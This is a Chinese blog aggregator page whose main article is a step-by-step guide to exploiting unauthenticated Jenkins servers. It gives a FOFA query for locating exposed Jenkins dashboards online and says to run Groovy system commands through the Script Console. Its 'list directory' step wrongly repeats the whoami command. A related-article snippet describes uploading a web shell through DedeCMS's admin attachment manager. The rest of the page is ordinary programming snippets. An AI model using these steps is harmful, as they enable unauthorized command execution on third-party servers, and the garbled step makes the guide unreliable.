当前位置： 首页 > news >正文

【Jenkins未授权访问漏洞 】

news 2026/3/29 18:21:00

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务，通过脚本执行界面从而获取服务器权限。

第一步：使用fofa语句搜索

搜索语句：

port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

一个一个搜索，直到出现 Manage Jenkins，在打开的URL中...点击 Manage Jenkins
Scritp Console 再执行以下命令.

第二步：点进去后，页面往下翻看到Scritp Console——点击。

、

第三步：执行命令，查看当前用户名

println "whoami".execute().text

如下图就是执行中

第四步：执行命令，查看目录

println "whoami".execute().text

相关文章：

【Jenkins未授权访问漏洞 】

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务，通过脚本执行界面从而获取服务器权限。 第一步：使用fofa语句搜索 搜索语句： port&…...

编程日记 2024/8/4 20:20:46

前端处理 Excel 文件

引入XLSX XLSX 是一个流行的 JavaScript 库，用于处理 Excel 文件（包括 .xls 和 .xlsx 格式）。它可以在 Node.js 环境和浏览器中运行，提供了丰富的 API 来读取、写入、修改 Excel 文件。当你使用 import * as XLSX from xlsx; 这行…...

编程日记 2024/8/4 20:18:44

(vue)el-cascader级联选择器按勾选的顺序传值,摆脱层级约束

(vue)el-cascader级联选择器按勾选的顺序传值,摆脱层级约束 需求：按勾选的顺序给后端传值 难点：在 Element UI 的 el-cascader 组件中，默认的行为是根据数据的层级结构来显示选项，用户的选择也会基于这种层级结构，el-…...

编程日记 2024/8/4 20:17:43

Redis进阶(四):哨兵

为了解决主节点故障，需要人工操作切换主从的情况；因此需要一种方法可以自动化的切换：哨兵的引入大大改变这种情况。 哨兵的基本概念 自动切换主从节点 哨兵架构 1、当一个哨兵节点发现主节点挂了的时候，还需要其他节点也去检测一…...

编程日记 2024/8/4 20:15:41

蓝屏事件：网络安全的启示

“微软蓝屏”事件暴露了网络安全哪些问题？ 近日，一次由微软视窗系统软件更新引发的全球性“微软蓝屏”事件，不仅成为科技领域的热点新闻，更是一次对全球IT基础设施韧性与安全性的深刻检验。这次事件，源于美国电脑安全技…...

编程日记 2024/8/4 20:13:38

技术方案评审原则

系列文章目录 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加 TODO:写完再整理 文章目录 系列文章目录前言技术方案评审原则1.理论突破阶段2.技术突破阶段3.工程化阶段自动驾驶行业的技术方案分析前言 认知有限，望大家多多包涵，有什么问题也希望能够与大…...

编程日记 2024/8/4 20:12:37

117页PPT埃森哲-物流行业信息化整体规划方案

一、埃森哲-物流行业信息化整体规划方案 资料下载方式，请看每张图片右下角信息 埃森哲在物流行业信息化整体规划项目中的核心内容，旨在帮助物流企业通过信息技术的应用实现业务流程的优化、运营效率的提升以及市场竞争力的增强。以下是埃森哲在此类项目…...

编程日记 2024/8/4 20:11:35

百度网盘不下载怎么直接打印文件？

在数字化时代，百度网盘作为我们存储和分享文件的重要工具，承载了大量的文档、图片和资料。然而，当需要打印这些文件时，很多用户会面临一个共同的问题：不想下载到本地再打印，既占用空间又浪费时间。那么&…...

编程日记 2024/8/4 20:09:32

设置了 robots.txt 禁止爬虫抓取，为什么还是能被百度搜索出来

虽然设置了 robots.txt 禁止爬虫抓取，但网页仍可能被百度搜索出来，主要有以下几个原因： robots.txt 只是一种建议性协议，并非强制性[2]。虽然大多数搜索引擎会遵守 robots.txt 的规则，但并不是所有爬虫都会严格遵守。 …...

编程日记 2024/8/4 20:08:31

DedeCMS-V5.7.82-UTF8织梦管理系统漏洞

将靶场环境放到www目录下——访问/dedecms/uploads 安装程序 - 织梦内容管理系统 V5.7 UTF8SP2 同意协议——继续 继续 配置后——点击继续 进入后台 登录后台——填写用户名密码。 方法一：上传shell文件 后台——核心——附件管理——上传新文件。 访问/dedecms…...

编程日记 2024/8/4 20:07:30

【Python】字符串练习题及代码示例

1、使用while循环实现对字符串中每个字符进行输出。 代码示例： 2、请将代码实现如下进制的转换。 （1）v1675,请将v1转换为二进制。 代码： 注意：将十进制数转换为二进制数的方法是：bin(a),a是整型&#x…...

编程日记 2024/8/4 20:06:29

fluent动网格profile udf 注意事项

案例一： ((profile_name transient 2 0) ....第一行 (time 0 15.0) ....第二行 (v_x 1.2 1.2)) …...

编程日记 2024/8/4 20:04:25

【doghead】mac构建 2： player 端 clion构建

准备工作 【doghead】mac构建 1 【doghead】mac： clion2024.1启动崩溃 mbp的 uv 构建ok zhangbin@zhangbin-mbp-2  ~/tet/Fargo/zhb-bifrost/Bifrost-202403/worker/third_party/libuv   main clion使用lldb cmake构建 更...

编程日记 2024/8/4 20:02:23

论网络流（最大流篇）--新手入门超详解--包教包会

论网络流--新手入门超详解--包教包会 1 前言2 什么是最大流3最大流问题的求解（1）问题转化--增广路的引入（2）走回头路--EK算法（3）EK的弊端（4）化图为树--DINIC算法 4后记 1 前言 网络…...

编程日记 2024/8/4 20:00:21

环境搭建：全面详尽的 MongoDB Shell MongoDB Server介绍、安装、验证与配置指南（以 Windows 系统为主）

环境搭建：全面详尽的 MongoDB Shell & MongoDB Server介绍、安装、验证与配置指南（以 Windows 系统为主） MongoDB 是一个基于文档的 NoSQL 数据库，以其高性能、灵活性和可扩展性而受到广泛欢迎。本文将带您完成 MongoDB 的安装…...

编程日记 2024/8/4 19:58:18

使用 OpenSearch 的 K-NN 向量搜索来增强搜索功能

使用 OpenSearch 的 K-NN 向量搜索来增强搜索功能 许多应用程序都依赖于提供精确且相关的搜索结果的能力。尽管传统关系数据库的全文搜索功能在某些情况下已经足够，但这些数据库在从文本中提取语义含义或搜索结构化程度较低的数据方面可能会出现不足。在这篇博文中&…...

编程日记 2024/8/4 19:57:16

Less-2（闭合）

我们使用第一关的测试方法尝试一下,打咩 直接看源码&#xff0c;看到&#xff0c;尝试一下闭合 <?php ini_set("display_errors", 0); $str $_GET["keyword"]; echo "<h2 aligncenter>没有找到和".htmlspecialchars($str)."相…...

编程日记 2024/8/4 19:55:14

mysql介绍

MySQL是一种开源的关系型数据库管理系统&#xff08;RDBMS&#xff09;&#xff0c;广泛用于存储和管理数据。它支持多种操作系统&#xff0c;如Linux、Windows、MacOS等。MySQL的特点包括&#xff1a; 1.开源免费&#xff1a;MySQL是开源的&#xff0c;可以免费使用和分发。 2…...

编程日记 2024/8/4 19:54:13

【ROS学习】ROS中 use_sim_time 参数的含义与作用

文章目录 写在前面一、背景描述二、 use_sim_time 参数的含义与作用三、举例说明1. 不设置use_sim_time (也即 use_sim_time false)&#xff0c;播放数据集使用rosbag play **.bag 2. 不设置use_sim_time (也即 use_sim_time false)&#xff0c;播放数据集使用rosbag play **…...

编程日记 2024/8/4 19:53:11

python-查找元素3（赛氪OJ）

[题目描述] 有n个不同的数&#xff0c;从小到大排成一列。现在告诉你其中的一个数x&#xff0c;x不一定是原先数列中的数。你需要输出最后一个<x的数在此数组中的下标。输入&#xff1a; 输入共两行第一行为两个整数n、x。第二行为n个整数&#xff0c;代表a[i]。输出&#x…...

编程日记 2024/8/4 19:52:08

ENVI 5.3 vs 5.6 处理GF-6/GF-7数据实测：版本差异、流程对比与效率优化心得

ENVI 5.3与5.6处理GF-6/GF-7数据深度评测&#xff1a;从版本差异到实战优化 当高分卫星数据成为遥感分析的主流选择&#xff0c;ENVI作为行业标杆软件&#xff0c;其版本迭代对数据处理效率的影响往往被低估。本文将基于真实项目经验&#xff0c;拆解ENVI 5.3与5.6在处理GF-6/G…...

编程新知 2026/3/29 18:19:24

轻量模型不轻量：Nano-Banana Turbo LoRA在A10显卡上30秒出图实测

轻量模型不轻量&#xff1a;Nano-Banana Turbo LoRA在A10显卡上30秒出图实测 1. 项目简介 Nano-Banana是一款专门为产品拆解和平铺展示风格设计的轻量化文生图系统。这个项目的核心在于深度融合了专属的Turbo LoRA微调权重&#xff0c;专门针对Knolling平铺、爆炸图、产品部件…...

编程新知 2026/3/29 16:22:23

Notepad--终极指南：5分钟掌握国产跨平台文本编辑器的完整解决方案

Notepad--终极指南&#xff1a;5分钟掌握国产跨平台文本编辑器的完整解决方案 【免费下载链接】notepad-- 一个支持windows/linux/mac的文本编辑器&#xff0c;目标是做中国人自己的编辑器&#xff0c;来自中国。 项目地址: https://gitcode.com/GitHub_Trending/no/notepad-…...

编程新知 2026/3/29 15:38:02

10倍加速PDF转HTML：pdf2htmlEX终极优化指南

10倍加速PDF转HTML&#xff1a;pdf2htmlEX终极优化指南 【免费下载链接】pdf2htmlEX Convert PDF to HTML without losing text or format. 项目地址: https://gitcode.com/gh_mirrors/pd/pdf2htmlEX pdf2htmlEX是一款能够将PDF文件转换为HTML格式的强大工具&#xff0c…...

编程新知 2026/3/29 14:37:40

Swin Transformer部署避坑指南：从环境搭建到性能翻倍的实战手册

Swin Transformer部署避坑指南&#xff1a;从环境搭建到性能翻倍的实战手册 【免费下载链接】Swin-Transformer This is an official implementation for "Swin Transformer: Hierarchical Vision Transformer using Shifted Windows". 项目地址: https://gitcode.…...

编程新知 2026/3/29 14:23:30

汇川H5U PLC通过EtherNET/IP网关实现MODBUS RTU设备高效数据采集

1. 为什么需要EtherNET/IP网关连接MODBUS RTU设备 在工业自动化现场&#xff0c;经常会遇到这样的场景&#xff1a;主控系统使用的是支持EtherNET/IP协议的汇川H5U PLC&#xff0c;但现场大量传感器、仪表等设备仍然采用传统的MODBUS RTU协议&#xff08;通过RS485接口通信&…...

编程新知 2026/3/29 14:21:30

VoxTrans：离线英文转录 + AI 翻译工具，支持本地 / YouTube 素材，人声分离 + 标点优化，生成双语 SRT 字幕，兼顾隐私与效率，是创作学习的得力软件

大家好&#xff0c;我是大飞哥。日常处理英文音视频时&#xff0c;要么需要手动听写字幕耗时耗力&#xff0c;要么在线工具依赖网络且隐私风险高&#xff0c;要么翻译后的字幕语序混乱、专业术语出错&#xff0c;尤其是做内容创作、学习资料整理时&#xff0c;很难高效得到精准…...

编程新知 2026/3/29 13:55:17

次元画室赋能微信小程序：开发个人AI画室应用

次元画室赋能微信小程序&#xff1a;开发个人AI画室应用 你有没有过这样的经历&#xff1f;脑子里闪过一个绝妙的画面&#xff0c;可能是某个角色的形象&#xff0c;或是一个奇幻的场景&#xff0c;但苦于不会画画&#xff0c;只能任由灵感溜走。或者&#xff0c;你随手画了个…...

编程新知 2026/3/29 13:12:28

GNSS/SINS组合导航实战：静基座精对准中的卡尔曼滤波参数调优技巧

GNSS/SINS组合导航实战&#xff1a;静基座精对准中的卡尔曼滤波参数调优技巧 在嵌入式导航系统开发中&#xff0c;静基座精对准是确保初始姿态精度的关键环节。许多工程师在调试卡尔曼滤波器时&#xff0c;常陷入参数试错的困境——Q矩阵该设多大&#xff1f;R矩阵如何匹配传感…...

编程新知 2026/3/29 11:53:44

LLaMA-Factory推理性能优化指南：如何用vLLM和量化技术提升3倍吞吐量

LLaMA-Factory推理性能优化实战&#xff1a;从参数调优到量化部署 当你的LLaMA-Factory模型推理请求从每秒10次飙升到1000次时&#xff0c;服务器突然开始报警——显存爆满、响应延迟激增、API错误率直线上升。这不是灾难片的开场&#xff0c;而是每个AI工程师终将面对的性能瓶…...

编程新知 2026/3/29 11:29:19